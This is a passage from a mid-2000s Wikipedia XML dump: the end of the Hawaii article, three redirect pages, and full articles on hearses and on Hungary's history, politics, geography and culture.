Image:Fong.jpg|[[Hiram Fong]]&lt;br&gt;First Chinese American and Asian American elected United States Senator
Image:Georgeariyoshi.jpg|[[George R. Ariyoshi]]&lt;br&gt;First Japanese American and Asian American elected governor in the United States
Image:Ericshinseki.jpg|[[Eric Shinseki]]&lt;br&gt;First Japanese American and Asian American member of the Joint Chiefs of Staff 
&lt;/gallery&gt;&lt;/center&gt;

==References==
*Schamel, Wynell and Charles E. Schamel. &quot;The 1897 Petition Against the Annexation of Hawaii.&quot; Social Education 63, 7 (November/December 1999): 402-408.

==See also==
*[[Wikipedia:WikiProject Hawaii/Trivia|Hawai{{okina}}i Trivia]]

&lt;center&gt;&lt;gallery&gt;
Image:Lightmatter haleakala Maui Hawaii.jpg|[[Haleakala|Haleakalā]]
Image:Kalalau Trail 2004-08-22.JPG|[[Na Pali Coast]]
Image:Hawaii sts26 big.jpg|[[NASA|Satellite Image]]
&lt;/gallery&gt;&lt;/center&gt;

==External links==
{{sisterlinks|Hawaii}}
*{{wikitravel}}
*[http://www.state.hi.us Official state homepage]
*[http://www.gohawaii.com Hawai{{okina}}i Visitors &amp; Convention Bureau]
*[http://www.hawaiianswers.com HawaiiAnswers.com] - a FAQ repository for Hawai{{okina}}i
*[http://earthobservatory.nasa.gov/Newsroom/NewImages/images.php3?img_id=15304 Satellite image of Hawaiian Islands] at [[NASA]]'s [[Earth Observatory]]
*[http://www.google.com/maps?ll=20.731201,-157.675781&amp;spn=5.218506,8.107910&amp;t=k&amp;hl=en Google maps]
*[http://data.bls.gov/PDQ/outside.jsp?survey=sm Bureau of Labor Statistics] - Economic Data, including Hawaii
*[http://eh.net/encyclopedia/article/lacroix.hawaii.history Economic History of Hawaii]
*[http://www.cyberrentals.com/USA/Hawaii/r35.htm Hawaii Vacation Rentals]

&lt;br clear=&quot;all&quot;&gt;
{{Hawaii}}
{{Hawaii history}}
{{Pacific Islands}}
{{Polynesia}}

{{United States}}

[[Category:1959 establishments]]
[[Category:Hawaii| ]]
[[Category:States of the United States]]

[[ar:هاواي]]
[[bg:Хаваи]]
[[ca:Hawaii]]
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[[fi:Havaiji]]
[[fr:Hawaii]]
[[gd:Hawaii]]
[[gl:Hawai - Hawai'i]]
[[haw:Hawai‘i]]
[[he:הוואי]]
[[hu:Hawaii]]
[[id:Hawaii]]
[[ilo:Hawai'i]]
[[io:Havayi]]
[[is:Hawaii]]
[[it:Hawaii]]
[[ja:ハワイ州]]
[[ka:ჰავაი (შტატი)]]
[[ko:하와이 주]]
[[lt:Havajai]]
[[lv:Havajas]]
[[mk:Хаваи]]
[[nl:Hawaï]]
[[nn:Hawaii]]
[[no:Hawaii]]
[[pl:Hawaje (stan w USA)]]
[[pt:Havaí]]
[[ro:Hawaii]]
[[ru:Гавайи]]
[[simple:Hawaii]]
[[sk:Havaj_(štát)]]
[[sl:Havaji]]
[[sq:Hawaii]]
[[sr:Хаваји]]
[[sv:Hawaii]]
[[th:มลรัฐฮาวาย]]
[[uk:Гаваї]]
[[zh:夏威夷州]]
[[zh-min-nan:Hawai‘i]]</text>
    </revision>
  </page>
  <page>
    <title>Hawaii/Maui</title>
    <id>13271</id>
    <revision>
      <id>15910888</id>
      <timestamp>2002-08-13T04:54:41Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <comment>short-circuiting a two-step redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Maui]]</text>
    </revision>
  </page>
  <page>
    <title>Hawaii/Hawaii</title>
    <id>13272</id>
    <revision>
      <id>15910889</id>
      <timestamp>2003-01-17T05:48:12Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>#REDIRECT [[Hawaii County, Hawaii]]</comment>
      <text xml:space="preserve">#REDIRECT [[Hawaii County, Hawaii]]</text>
    </revision>
  </page>
  <page>
    <title>Hawaii/Kauai</title>
    <id>13273</id>
    <revision>
      <id>15910890</id>
      <timestamp>2002-08-12T23:22:42Z</timestamp>
      <contributor>
        <username>Zoe</username>
        <id>2376</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Kauai]]</text>
    </revision>
  </page>
  <page>
    <title>Hearse</title>
    <id>13274</id>
    <revision>
      <id>36370417</id>
      <timestamp>2006-01-23T16:14:37Z</timestamp>
      <contributor>
        <ip>84.59.52.207</ip>
      </contributor>
      <comment>/* Cultural references */: reference to harold&amp;maude</comment>
      <text xml:space="preserve">[[Image:JapaneseHearse.JPG|250px|thumb|A [[Buddhism|Buddhist]]-style [[Japan|japanese]] hearse]]
A '''hearse''' is a [[funeral]] [[vehicle]], a conveyance for the [[coffin]] from e.g. a [[church]] to a [[cemetery]], a similar burial site, or a [[crematorium]].  In the funeral trade, they are often called '''funeral coaches'''.

The name, supposedly, derives from the Anglo-Saxon word [[harrow]], describing the temporary framework on which candles were placed above the [[bier]]. This also held banners and armorial bearings and other heraldic devices. Verses or epitaphs were often attached to the hearse.

Hearses were originally horse-drawn, but motorised examples began to be produced from [[1909]] in the [[United States]], and became more widely accepted in the [[1920s]].  The vast majority of hearses since then have been based on larger, more powerful [[automobile|car]] chassis, generally retaining the front end up to and possibly including the front doors but with custom bodywork to the rear to contain the coffin.  Normally more luxurious brands of car are used as a base; the vast majority of hearses in the [[United States]] are [[Cadillac (automobile)|Cadillacs]] and [[Lincoln automobile|Lincolns]].  

Cadillac produced what they referred to as a &quot;commercial chassis.&quot;  This was a strengthened version of the long-wheelbase Fleetwood limousine frame to carry the extra weight of bodywork, rear deck and cargo.  Designed for [[professional car]] use, the rear of the Cadillac commercial chassis was considerably lower than the passenger car frame, thereby lowering the rear deck height as well for ease of loading and unloading.  They were shipped as incomplete cars to [[coachbuilder]]s for final assembly.  A commercial chassis Cadillac was little more than a complete rolling chassis, front end sheet metal with lighting and trim, dashboard and controls.  Rear quarter panels and sometimes the front door shells were shipped with the chassis for use in the finished coachwork.  Today, most hearses are made from converted sedans on stretched wheelbases.  The fleet division of [[Ford Motor Company]] sells a [[Lincoln Town Car]] with a special &quot;hearse package&quot; strictly to coachbuilders.  Shipped without rear seat, rear interior trim, rear window or decklid, the hearse package also features a heavy-duty suspension, brakes, charging system and tires and was once offered on a modified Ford Expedition [[SUV]] chassis with the Triton [[V10]] truck engine.  Because the working life of a hearse is generally one of light duty and short, sedate drives, they remain serviceable for a long time; hearses 30 years old or more may still be in service, although some funeral homes replace them at least once a decade.  [[As of 2004]], a new hearse in the USA usually costs in the range of $40,000 to $65,000.  

[[Image:Volvohearse.jpg|thumb|250px|An antique limousine style hearse from [[Volvo]]]]
Two styles of hearse [[car body style|bodywork]] are common.  The older style is the [[limousine]] style; these have narrow pillars and lots of glass.  These are more popular in the [[United Kingdom]], among others.  More popular in the [[United States]] is the [[landau (car)|landau]] style, with a heavily-padded leather or (later) vinyl roof, and long blind rear quarters, similarly covered, and decorated with large metal S-shaped bars designed to resemble those used to lower the tops on some horse-drawn coaches.  It is common practise in the USA for the windows to be curtained, while in the UK the windows are normally left unobscured.  Hearses resemble [[station wagon|station wagons]] strictly because of the shape of the rear ends of conventional ones.

In recent times, the [[Motorcycle]] hearse has become more popular.  This type of hearse is a motorcycle with a special sidecar built to carry a casket or an urn.  These hearses are often used during the funeral of motorcycle enthusiasts.

Until the late [[1970s]], it was common for hearses in the USA to be ''[[combination car|combination coaches]]'' which also could serve in the [[ambulance]] role; these were common in rural areas.  Car-based ambulances and combination coaches were unable to meet stricter Federal specifications for such vehicles and were discontinued after 1979.  

Perhaps owing to the morbid nature of the hearse, its luxurious accommodations for the driver, or both, the hearse has a number of enthusiasts who own and drive retired hearses.  [[Celebrity]] hearse enthusiasts include rock singer [[Neil Young]] and [[NASCAR]] racer [[Tony Stewart]].

==Cultural references==
*The 1971 film &quot;[[Harold and Maude]] features a unique [[Jaguar E-Type]], converted to a hearse by it's owner, Harold.
*The 1984 film ''[[Ghostbusters]]'' famously features the &quot;[[Ectomobile]]&quot;, a white 1959 Cadillac Miller-Meteor hearse.

==See also==
{{commons|Category:Hearses}}
* [[Flower car]]
* [[First Call vehicle]]
* [[car body style]]

==External links==
* [http://www.dead-ends.com/ Dead Ends Hearse Club (Atlanta)]
* [http://www.hearsedriver.com/ Hearse Driver.com] Devoted to the privately-owned hearse and the wonderful people who own them. Includes pictures, terminology, classified ads, and much more.
* [http://www.angelfire.com/zine/TheHearseEnthusiast/ The Hearse Enthusiast]
* [http://www.hearse.de/ Nice selection of photographs of European and American hearses.]
* [http://www.professionalcar.org/ The Professional Car Society (hearses, flower cars, car-based ambulances, limousines)]
* [http://www.phantomcoaches.org/ The Phantom Coaches Hearse Club in Southern California]
* [http://www.motorcyclefunerals.com Motorcycle Funerals Web Site]
* [https://www.fleet.ford.com/ Ford Motor Company fleet vehicle site]
* [http://www.albeyer.de.vu Hearses, limousines and other unusual cars]

[[da:Rustvogn]]
[[ja:&amp;#38666;&amp;#26601;&amp;#36554;]]
[[sv:Bårbil]]

[[Category:Death customs]]
[[Category:Vehicles]]
[[Category:Car body styles]]</text>
    </revision>
  </page>
  <page>
    <title>Hungary</title>
    <id>13275</id>
    <revision>
      <id>42120382</id>
      <timestamp>2006-03-03T23:25:10Z</timestamp>
      <contributor>
        <ip>193.11.239.144</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox_Country|
|native_name = Magyar Köztársaság
|common_name = Hungary
|image_flag = Flag of Hungary.svg
|image_coat = Hungary COA.jpg
|image_map = LocationHungary.png
|national_motto = None&lt;br&gt;Historical: ''Regnum Mariae Patrona Hungariae'' &lt;br&gt;([[Latin]]: Kingdom of Mary the Patron of Hungary)
|national_anthem = [[Himnusz|Himnusz (Isten, áldd meg a magyart)]] by [[Ferenc Kölcsey]]
|official_languages = [[Hungarian language|Hungarian]] (''Magyar'')
|capital = [[Budapest]]
|latd=47 |latm=26 |latNS=N |longd=19 |longm=15 |longEW=E |
|largest_city = [[Budapest]]
|government_type = Democratic [[republic]]
|leader_titles = [[President of Hungary|President]]&lt;br&gt;[[Prime minister of Hungary|Prime minister]]
|leader_names = [[László Sólyom]]&lt;br&gt;[[Ferenc Gyurcsány]]
|area_rank = 108th
|area_magnitude = 1 E10
|area = 93,030
|percent_water = 0.74%
|population_estimate = 10,082,000
|population_estimate_year = October 2005
|population_estimate_rank = 80th
|population_census = 10,198,315
|population_census_year = 2001
|population_density = 108
|population_density_rank = 69th
|GDP_PPP_year = 2005
|GDP_PPP = $162,289 million
|GDP_PPP_rank = 49th
|GDP_PPP_per_capita = $16,627
|GDP_PPP_per_capita_rank = 43rd
|sovereignty_type = Foundation
|established_events = Foundation:&lt;br&gt;  Independence:
|established_dates = &lt;br&gt; December, [[1000]]&lt;br&gt; November 16, [[1918]]
|HDI_year = 2003
|HDI = 0.862
|HDI_rank = 35th
|HDI_category = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;
|currency = [[Hungarian forint|Forint]]
|currency_code = HUF
|country_code = hu
|time_zone = [[Central European Time|CET]]
|utc_offset = +1
|time_zone_DST = [[Central European Summer Time|CEST]]
|utc_offset_DST = +2
|cctld = [[.hu]]
|calling_code = 36
|footnotes = 
}}
The '''Republic of Hungary''' (''Magyar Köztársaság'' {{audio|hu-Magyar Köztársaság.ogg|listen}}), or '''Hungary'''  (''Magyarország'' {{audio|hu-Magyarország.ogg|listen}}), is a [[landlocked]] country in [[Central Europe]], bordered by [[Austria]], [[Slovakia]], [[Ukraine]], [[Romania]], [[Serbia and Montenegro]], [[Croatia]] and [[Slovenia]]. It is known locally as the ''Country of the [[Magyars]]''.

== History ==
''Main article: [[History of Hungary]]''

In the time of the [[Roman Empire]], the Romans called the region [[Pannonia]] (west from the [[Danube river]]). After Rome fell under the [[Germanic tribes]] migration and [[Carpia|Carpians']] pressure, the [[Migration Period]] continued bringing many invaders. First came the [[Huns]], who built up a powerful empire under [[Attila the Hun|Attila]]. The name &quot;Hungary&quot; may be influenced by the name of the Hun people, although it probably comes from the name of a later, 7th century [[Turkic peoples|Turkic]] alliance called [[Onogur]]. After the Hunnish rule faded, the other Germanic tribes [[Lombards]] and [[Gepids]] ruled in Pannonia for about 100 years, during which the [[Slavic tribes]] also began migrating south. In the [[560s]], these were supplanted by the [[Eurasian Avars|Avars]] who would maintain their supremacy of the land for over two centuries. The [[Franks]] under [[Charlemagne]] from the west and the [[Bulgars]] from the southeast finally managed to overthrow the Avars in the early 9th century. Soon after, the Franks retreated, and the Slavonic kingdom of [[Great Moravia]] and the [[Balaton Principality]] controlled much of Pannonia until the end of the century. Finally, the [[Magyars]] migrated to Hungary in the late 9th century.
[[Image:Arpadfeszty.jpg|thumb|left|200px|Arpad]]Tradition holds that the Country of the Magyars (Hungary) was founded by [[Árpád]], who led the [[Magyars]] into the [[Pannonian plain]]s after [[895]]. The [[Kingdom of Hungary]] was established in [[1000]] by [[Stephen_I_of_Hungary|King St. Stephen I]]. 

Initially the history of Hungary was developed in a triangle with that of [[Poland]] and [[Bohemia]], with the many liaisons with Popes and Emperors of the [[Holy Roman Empire]]. Between [[1241]]&amp;ndash;[[1242]], Hungary was partially devastated and suffered great loss of life at the hands of [[Mongol]] ([[Tatar]]) armies of [[Batu Khan]].

Gradually Hungary under the rule of the dynasty of the [[Árpáds]] turned into an independent kingdom which formed a distinct Central European culture with ties to greater West European [[civilization]]. Ruled by the [[Angevins]] since [[1308]], the Kingdom of Hungary briefly extended its control over [[Wallachia]] and [[Moldavia]]. The non-dynastic king [[Matthias Corvinus of Hungary|Matthias Corvinus]], son of [[John Hunyadi]], ruled the Kingdom of Hungary from 1458 to 1490. He strengthened Hungary and its government. Under his rule, Hungary (notably the northern parts, some of which are in [[Slovakia]] today) became an important artistic and cultural centre of Europe during the [[Renaissance]]. Hungarian culture influenced others, for example the [[Polish-Lithuanian Commonwealth]]. 

Hungarian independence ended with the [[Ottoman Empire|Ottoman]] conquest at the beginning of the [[16th century]]; the parts of Hungary that were not conquered by the Ottomans were annexed by [[Austria]] (the rulers of which were Hungarian kings at the same time) in the West, and became the independent Principality of [[Transylvania]] in the East.  After 150 years, [[Austria]] and its Christian allies retook also the territory of today's Hungary by the end of the [[17th century]] from the Islamic Ottoman Empire.

After the final retreat of the [[Turkey|Turks]], struggle began between the Hungarian nation and the [[Habsburg]] kings for the protection of noblemen's rights (thus guarding the autonomy of Hungary). The fight against Austrian absolutism resulted in the unsuccessful popular freedom fight led by a Transylvanian nobleman, [[Ferenc II Rákóczi]], between 1704 and 1711. The revolution and war of 1848&amp;ndash;1849 eliminated [[serfdom]] and secured civil rights. The Austrians were finally able to prevail only with Russian help.

Thanks to the victories against Austria by the French-Italian coalition (the [[Battle of Solferino]], [[1859]]) and Prussia ([[Battle of Königgratz]], [[1866]]), Hungary would eventually, in [[1867]], manage to become an autonomous part of the [[Austro-Hungarian Empire]] (see [[Ausgleich]]). Having achieved this, the Hungarian government took an effort to nationally unify the kingdom by [[Magyarisation]] of the various other nationalities. This lasted until the end of [[World War I]], when the Austro-Hungarian empire collapsed. On [[November 16]], [[1918]], an independent Hungarian Republic was proclaimed.

In March [[1919]] the communists took power, and in April, [[Béla Kun]] proclaimed the [[Hungarian Soviet Republic]]. This government, like its predecessor, proved to be short lived; after some initial military successes against the Czechoslovak army, the [[Romania]]ns attacked to prevent a campaign in [[Transylvania]]. By August more than half of present-day Hungary, including Budapest, was placed under Romanian occupation, which lasted until November. Rightist military forces, led by the former Austro-Hungarian Admiral [[Miklós Horthy]], entered Budapest in the wake of the Romanian army's departure and filled the vacuum of state power. In January [[1920]], elections were held for a unicameral assembly, and Admiral Horthy was subsequently elected Regent, thereby formally restoring Hungary to a kingdom, although there were no more Kings of Hungary, despite attempts by the former Habsburg king to return to power. Horthy continued to rule with autocratic powers until [[1944]].

In June 1920, the [[Treaty of Trianon]] was signed, fixing Hungary's borders. Compared with the pre-war Kingdom, Hungary lost 71% of it's territory,66% of it's population, and with the new borders about one-third of the Magyar population became minorities in the neighbouring countries. Therefore, Hungarian politics and culture of the interwar period were saturated with [[irredentism]] and [[revisionism]] (the restoration of 19th century &quot;[[greater Hungary]]&quot; by whatever means necessary).

Horthy made an alliance with [[Nazi Germany]] in the [[1930s]], in the hope of revising the territorial losses that had followed World War I. The alliance did lead to some territories being returned to Hungary in the two [[Vienna Awards]]. Hungary then assisted the German occupation of the [[Kingdom of Yugoslavia]], occupying the [[Banat]] right afterwards, and finally entered [[World War II]] in 1941, fighting primarily against the Soviet Union. In October 1944, [[Hitler]] replaced Horthy with the Hungarian Nazi collaborator [[Ferenc Szálasi]] and his [[Arrow Cross Party]] in order to avert Hungary's defection to the Allied side, which were constantly threatened since the Allied invasion of Italy. 

Hungary passed a series of [[History_of_the_Jews_in_Hungary#20th_Century:_Persecution_and_destruction|anti-Semitic laws]] throughout the 1920s and thirties, and some massacres of Jews by Hungarian forces took place in the early part of the Second World War, but Hungary initially resisted large scale deportation of its Jewish population.  Ultimately, however, during the German occupation, the [[Arrow Cross Party]] and government authorities participated fully in the [[Holocaust]]: in May and June of 1944, Hungarian police deported nearly 440,000 Jews in more than 145 trains, mostly to [[Auschwitz concentration camp|Auschwitz]] [http://www.ushmm.org/wlc/en/index.php?ModuleId=10005458]. Ultimately, over 533,000 Jews in Hungary were killed during the [[Holocaust]], as well as several tens of thousands of [[Roma people|Roma]].

Following the fall of Nazi Germany, Hungary became part of the Soviet area of influence and was appropriated into a [[communist state]] following a short period of democracy in 1946&amp;ndash;1947. After 1948 Communist leader Mátyás Rákosi established a Stalinist rule in the country, which was hardly bearable for the war-torn country. This led to the [[1956 Hungarian Revolution]] and an announced withdrawal from the [[Warsaw Pact]] which were met with a massive military intervention by the [[Soviet Union]]. From the 1960s on to the late 1980s Hungary was sometimes satirically called the &quot;[[the happiest barrack]]&quot; within the [[Eastern bloc]], under the rule of late controversial communist leader [[János Kádár]], who exercised autocratic rule during this period. In the late [[1980s]], Hungary led the movement to dissolve the Warsaw Pact and shifted toward multiparty democracy and a market-oriented economy. Following the collapse of the Soviet Union in [[1991]], Hungary developed closer ties with Western Europe, joined [[NATO]] in [[1999]] and the [[European Union]] on [[May 1]], [[2004]].

''See Also: [[Kingdom of Hungary]], [[Hungary before the Magyars]]''

== Politics ==
''Main article: [[Politics of Hungary]]''
&lt;!--[[Image:HungaryBudapestChess.jpg|thumb|right|250px|Outdoor chess in Budapest, November 1990]] --&gt;
[[Image:Parlament Budapest3.jpg|thumb|right|250px|The building of Hungarian Parliament]]
The [[President of Hungary|President of the Republic]], elected by the [[parliament]] every 5 years, has a largely ceremonial role, but powers also include appointing the [[Prime Minister of Hungary|prime minister]]. The prime minister selects [[cabinet (government)|cabinet]] ministers and has the exclusive right to dismiss them. Each cabinet nominee appears before one or more parliamentary committees in consultative open hearings and must be formally approved by the president.

The [[unicameral]], 386-member [[National Assembly of Hungary|National Assembly]] (the ''Országgyűlés'') is the highest organ of state authority and initiates and approves legislation sponsored by the prime minister. National parliamentary elections are held every 4 years (the next will be held on April 9th 2006). An 11-member Constitutional Court has power to challenge legislation on grounds of unconstitutionality.

== Administrative divisions ==
''Main article: [[Counties of Hungary]]''

Hungary is subdivided administratively into 19 counties, in addition to which there is one [[Capitals of Hungary|capital city]] (''főváros''): [[Budapest]]. There are also 23 so-called urban counties (singular ''megyei jogú város''), These are:

&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;&lt;th&gt;Urban counties&lt;/th&gt;&lt;th&gt;Counties (County Capital)&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
* [[Békéscsaba]]
* [[Debrecen]]
* [[Dunaújváros]]
* [[Eger]]
* [[Érd]]
* [[Győr]]
* [[Hódmezővásárhely]]
* [[Kaposvár]]
* [[Kecskemét]]
* [[Miskolc]]
* [[Nagykanizsa]]
* [[Nyíregyháza]]
* [[Pécs]]
* [[Salgótarján]]
* [[Sopron]]
* [[Szeged]]
* [[Székesfehérvár]]
* [[Szekszárd]]
* [[Szolnok]]
* [[Szombathely]]
* [[Tatabánya]]
* [[Veszprém]]
* [[Zalaegerszeg]]
&lt;/td&gt;&lt;td valign=&quot;top&quot;&gt;
* [[Bács-Kiskun]] ([[Kecskemét]])
* [[Baranya]] ([[Pécs]])
* [[Békés (county)|Békés]] ([[Békéscsaba]])
* [[Borsod-Abaúj-Zemplén]] ([[Miskolc]])
* [[Csongrád (county)|Csongrád]] ([[Szeged]])
* [[Fejér]] ([[Székesfehérvár]])
* [[Győr-Moson-Sopron]] ([[Győr]])
* [[Hajdú-Bihar]] ([[Debrecen]])
* [[Heves (county)|Heves]] ([[Eger]])
* [[Jász-Nagykun-Szolnok]] ([[Szolnok]])
* [[Komárom-Esztergom]] ([[Tatabánya]])
* [[Nógrád (county)|Nógrád]] ([[Salgótarján]])
* [[Pest (county)|Pest]] ([[Budapest]])
* [[Somogy]] ([[Kaposvár]])
* [[Szabolcs-Szatmár-Bereg]] ([[Nyíregyháza]])
* [[Tolna (county)|Tolna]] ([[Szekszárd]])
* [[Vas]] ([[Szombathely]])
* [[Veszprém (county)|Veszprém]] ([[Veszprém]])
* [[Zala]] ([[Zalaegerszeg]])
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

See also: [[Administrative divisions of the Kingdom of Hungary|List of historic counties of Hungary]]

== Geography ==
[[Image:Hu-map.png|thumb|Map of Hungary]]
''Main article: [[Geography of Hungary]]''

Hungary's landscape consists mostly of the flat to rolling plains of the [[Carpathian Basin]], with hills and lower mountains to the north along the [[Slovakia]]n border (highest point: the [[Kékes]] at 1,014 m). Hungary is divided in two by its main waterway, the [[Danube]] (''Duna''); other large rivers include the [[Tisza]] and [[Dráva]], while the western half contains [[Lake Balaton]], a major body of water. The largest thermal lake in the world, [[Lake Hévíz]] ([[Hévíz Spa]]), is located in Hungary. The second largest lake in the [[Carpathian Basin]] (and probably the largest artificial lake in Europe) is [[Lake Theiss]] (''Tisza-tó'').

== Climate ==

Hungary has a [[continental climate]], with cold, cloudy, humid winters and warm to hot summers. Average annual temperature is 9.7 °C (49.5 °F). Temperature extremes are about 38 °C (100 °F) in the summer and &amp;minus;29 °C (&amp;minus;20 °F) in the winter. Average temperature in the summer is 27 to 32 °C (81 to 90 °F), and in the winter it is 0 to &amp;minus;15 °C (32 to 5 °F). The average yearly rainfall is approximately 600 mm (24 in). A small, southern region of the country near [[Pécs]] enjoys a [[Mediterranean climate]].

The relative isolation of the Carpathian Basin makes it susceptible to [[drought]]s and the effects of [[global warming]] are already felt. According to popular opinion, and many scientists in the latest decades the country became drier, as droughts are quite common; and summers became hotter, winters became milder. Because of these reasons snow has become much more rare in the area than before. Popular opinion also states that the four-season system became a two-season system as [[spring (season)|spring]] and [[autumn]] are getting shorter and shorter, even vanishing some years. 

Most of Hungary is covered by agricultural plains, there are but few remnants of its original forests.

== Economy ==
''Main article: [[Economy of Hungary]]''
[[Image:Ungheria 100 forint.JPG|thumb|right|200px|Hungarian 100 Forint]]
Hungary continues to demonstrate strong economic growth as one of the newest members of the [[European Union]] (since 2004). Together with Slovenia and the Czech Republic, Hungary provides one of the highest standard of living among Eastern European countries. The private sector accounts for over 80% of [[Gross Domestic Product|GDP]]. Hungary gets nearly one third of all foreign direct investment flowing in to Central Europe. Foreign ownership of and investment in Hungarian firms are widespread, with cumulative foreign direct investment totalling more than US$23 billion since [[1989]]. Hungarian sovereign debt was upgraded in [[2000]] to the second-highest rating among all the Central European transition economies. [[Inflation]] and [[unemployment]] &amp;ndash; both priority concerns in [[2001]] &amp;ndash; have declined substantially. Economic reform measures such as health care reform, tax reform, and local government financing have not yet been addressed by the present government.

The Hungarian government has expressed a desire to adopt the [[euro]] currency in 2010, but the introduction of the currency is currently only in the early planning stages.

== Demographics ==
====Historical====
* [[Circa]] [[900]] [[Anno Domini|AD]]- according to various sources 250,000 - 400,000 [[Magyars]] settled in the Pannonian plain, inhabited predominantly by Slavs
* [[1222]] - 2,000,000 at the time of [[Golden Bull]]
* [[1242]] - 1,200,000 after the Mongol-Tatars invasion
* [[1370]] - 2,500,000 at the time of [[Angevin]] kings
* [[1490]] - 4,000,000 before the Ottoman conquest (3.2 million Magyars)
* [[1699]] - 3,300,000 at the time of [[Treaty of Karlowitz]] (less than 2 million Magyars)
* [[1711]] - 3,000,000 at the end of [[Kuruc]] War (1.6 million Magyars)
* [[1790]] - 8,000,000 (39% Magyars)
* [[1828]] - 11,495,536
* [[1846]] - 12,033,399
* [[1880]] - 13,749,603 (46% Magyars)
* [[1900]] - 16,838,255 (51,4% Magyars)
* [[1910]] - 18,264,533 (54,5% Magyars, 5% [[History of the Jews in Hungary|Jews]])
* [[1920]] - 7.516.000 after the [[Treaty of Trianon]] (90% Magyars, 6.1% Jews)

====Present====
''Main article: [[Demographics of Hungary]]''

For some 95% of the population, mostly [[Hungarians]], the mother tongue is [[Hungarian language|Hungarian]], a [[Finno-Ugric]] language unrelated to any neighbouring language. Several ethnic minorities exist: [[Roma (people)|Roma]] (2%), [[ethnic German|German]]s (1.2%), [[Romanians]] (0.8%), [[Slovaks]] (0.4%), [[Croats]] (0.2%), [[Serbs]] (0.2%) and [[Ukrainians]] (0.1%).  

The largest religion in Hungary is [[Catholicism]] &amp;ndash; Roman and Greek &amp;ndash; (approx 50% of the population), with a [[Calvinist]] minority (around 30%) and [[Lutheran]]s (5%).  Jews are now approximately 1% of the population.  However, these formal figures are not wholly representative, since the Hungarian population is not particularly religious; no more than 25% actively practice their faith.  Furthermore, the active suppression of religion by the Communist regimes over 50 years has left religion mostly to older people who no longer were risking advancement opportunities.

Due to historical reasons, significant [[Magyars|Hungarian]] minority populations can be found in the surrounding countries, notably in [[Ukraine]] (in [[Carpathian Ruthenia|Transcarpathia]]), [[Slovakia]], [[Romania]] (in [[Transylvania]]),  and [[Serbia]] (in [[Vojvodina]]). [[Austria]] (in [[Burgenland]]), [[Croatia]], and [[Slovenia]] are also host to a number of ethnic Magyars.

====The Roma Minority====

The [[Roma people|Roma]] suffer particular problems in Hungary. Currently slightly more than 70 % of Roma children complete primary schooling, but only one third continue studies into the intermediate (secondary) level. This is far lower than the more than 90 % proportion of children of non-Roma families who continue studies at an intermediate level. The situation is made still worse by the fact that a large proportion of young Roma are qualified in subjects that provide them with only limited chances for employment. Less than 1 % of Roma hold higher educational certificates.

== Culture ==
''Main article: [[Culture of Hungary]]''

[[Hungarian culture]] is diverse and varied.

[[Image:Franz Liszt photo.jpg|thumb|right|150px|[[Franz Liszt]], prominent Hungarian composer]]
The [[music of Hungary]] consists mainly of traditional Hungarian [[folk music]] and music by prominent [[Romantic music|Romantic]] and [[Baroque music|Baroque]] composers such as [[Franz Liszt]], [[Béla Bartók]] and [[Zoltán Kodály]] (although the latter mainly composed music with traditional elements). Hungarian traditional music tends to have a strong [[Dactyl (poetry)|dactylic]] [[rhythm]], just as the language is invariably stressed on the first syllable of each word.

[[Hungarian cuisine]] is also a prominent feature of Hungarian culture, with traditional dishes such as [[goulash]] a main feature of the Hungarian [[diet (nutrition)|diet]]. Dishes are often flavoured with [[paprika]] (also Hungarian for [[bell pepper|pepper]]). [[Stew|Stews]] are often to be found with typical elements such as [[pork]] or [[beef]], as the stew ''pörkölt'' shows.

Hungary is famous for its mathematics institute which has trained many Nobel Prize winners.  Famous Hungarian mathematicians [[Paul Erdös]] who is famous for publishing in over forty languages and whose [[Erdös number]]s are still tracked, [[John von Neumann]] one of the pioneers in digital computing, [[Eugene Wigner]], and many others. Erdös, von Neumann, and Wigner, like other Hungarian Jewish scientists, fled rising anti-Semitism in Europe, and they made their most famous contibutions in the United States.

Hungarians are very proud of their inventions. These include the noiseless [[match]],  the [[Rubik's cube]] and [[Non-Euclidean geometry]].  A number of other important inventions, including the [[holography]], the [[ballpoint pen]], the theory of the [[hydrogen bomb]], and the [[BASIC programming language|BASIC]] [[programming language]] were invented by Hungarians who fled the country prior to World War II.

The literature of Hungary is very extensive, albeit not well known abroad due to the limited knowledge of the language. [[János Arany]] was a famous Hungarian poet who wrote a large amount of well-known poetry. [[Sándor Márai]] and [[Imre Kertész]] have gained acclaim in recent times: the latter has won the [[Nobel Prize]] for literature.

Hungarians are also known for their prowess at [[Water sport (recreation)|water sports]], mainly [[swimming]], [[water polo]] and canoeing; this can be said to be surprising at first, due to Hungary being [[landlocked]]. On the other hand, the presence of two major rivers ([[Danube|Duna]]/[[Tisza]]) and a major lake ([[Balaton]]) gives excellent opportunities to practice those sports.

=== See also ===
*[[Constitution of Hungary|The Constitution of Hungary]]
*[[List of Hungarians]]
*[[List of Hungarian rulers]]
*[[List of Hungarian writers]]
*[[List of universities in Hungary]]
*[[List of colleges in Hungary]]
*[[Public holidays in Hungary]]
*[[Music of Hungary]]
*[[Hungarian cuisine]]
*[[List of personal naming conventions#Name order|Eastern name order used in Hungarian personal names]]
*[[List of most popular family names#Hungary|Common Hungarian surnames]]
*[[Hungarian jokes]]
*[[Magyar Cserkészszövetség]] (Hungarian Scout Association)
*[[Curse of Turan]]
*[[Hungarian animals]]

== Miscellaneous topics ==
{{portal}}
*[[Communications in Hungary]]
*[[Foreign relations of Hungary]]
*[http://hu.wikipedia.org/wiki/ Hungarian Wikipedia]
*[[List of cities in Hungary]]
*[[Military of Hungary]]
*[[Name days in Hungary]]
*[[Transportation in Hungary]]
*[[History of the Jews in Hungary]]

== External links ==
===General info===
{{sisterlinks|Hungary}}
*[http://www.newadvent.org/cathen/07547a.htm A detailed article on Hungary from a Christian point of view] (Catholic Encyclopedia)
*[http://www.europa.eu.int/comm/enlargement/hungary/ Country Profile Hungary] &amp;ndash; tons of material and links
*[http://hungary.lap.hu/ Link collection for foreign visitors and residents of Hungary]
*[http://www.parlament.hu/parl_en.htm Official site of the National Assembly]
